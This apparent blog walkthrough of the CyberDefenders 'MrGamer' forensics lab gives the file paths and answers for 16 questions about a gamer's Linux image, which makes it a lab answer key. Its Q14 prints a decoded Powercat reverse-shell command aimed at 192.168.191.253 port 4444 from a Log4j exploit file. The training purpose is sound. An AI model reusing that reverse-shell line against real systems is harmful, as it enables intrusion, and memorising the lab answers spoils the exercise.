MrGamer Lab — CyberDefenders

[embed]MrGamer | Blue team challenge. MrGamer is a blue team lab that falls under the Endpoint Forensics category and will cover the following subjects…cyberdefenders.org

Objective: Develop investigative skills by reconstructing user behavior, tracing digital footprints, and answering contextual questions based on evidence from a compromised system.

Category: Endpoint Forensics Tactics: Execution, Command and Control Tools: Tools: CyberChef, DCode, DB Browser for SQLite, Unfurl, Arsenal Image Mounter, Autopsy

Scenario: This Linux image belongs to a user who enjoys gaming and chatting with friends. Suspicious activity was observed in the system’s artifacts. As a SOC analyst, analyze the image to uncover potential anomalies and reconstruct the user’s actions.

Download and Unzip the Lab Files

Q1: What is the name of the utility or library for which the user was exploring exploits?

FTKImager → github

Github → PSA Log4Shell article

PSA: Log4Shell and the current state of JNDI injection

OR:

ANS: log4j

Q2: What is the version ID number of the operating system on the machine?

/etc/lsb-release

ANS: 21.10

Q3: What is the hostname of the computer?

/etc/hostname

Q4: What is one anime that the user likes?

/home/rafael/.thunderbird/vrvcx2qf.default-release → Export

→ DB Browser for SQLite → Open exported file → Open global-messages-db.sqlite

→ ConersationText_content → Browse Table

ANS: Attack on Titan

Q5: What is the UUID for the attacker’s Minecraft account?

/home/rafael/.minecraft/usercache.json

ANS: 8b0dec19-b463–477e-9548-eef20c861492

Q6: What VPN client did the user install and use on the machine?

/home/rafael/.bash_history

ANS: zerotier

Q7: What was the user’s first password for the guest Wi-Fi?

vrvcx2qf.default-release → messagesText_content → Browse Table

ANS: 093483

Q8: The user watched a video that premiered on Dec 11th, 2021. How many views did it have when they watched it on February 9th?

/home/rafael/Pictures

ANS: 265342

Q9: What is the new channel name for the YouTuber whose cookbook is shown on the device?

/home/Rafael/.cache/thumbnails/Large

ANS: Babish Culinary Universe

Q10: What is the module with the highest installed version for the chat application with the mascot Wumpus?

/home/rafael/.config/discord/0.0.16/modules/installed.json

ANS: discord_voice

Q11: According to Windows, what was the temperature in Fahrenheit on February 11th, 2022, at 6:30 PM?

/home/rafael/marshalsec/poc/

ANS: 45

Q12: What is the upload date of the second YouTube video on the channel from which the user downloaded a YouTube video?

/home/Rafael/Downloads

ANS: 2009-10-25

Q13: What is the SHA-1 hash of Minecraft’s “latest” release according to the system?

/home/rafael/.minecraft/versions/

ANS:3c6e119c0ff307accf31b596f9cd47ffa2ec6305

Q14: What were the three flags and their values that were passed to Powercat?

/home/rafael/marshalsec/poc/Log4jRCE.java → Copy script containing Base64

→ CyberChef → From Base64 → Decode text (UTF-16LE (1200))

ANS: -c 192.168.191.253 -p 4444 -e cmd

Q15: How many dimensions (including the overworld) did the player travel to in the “oldest of the worlds”?

Overworld is the first dimension

No info regarding Nether & End in the saves

ANS: 1

Q16: What is the mojangClientToken stored in the Keystore?

Could not solve this question by myself

Answer is: 2f76c8b04c004ddd888a05a6cad6be52

That concludes the lab!! Congratulations!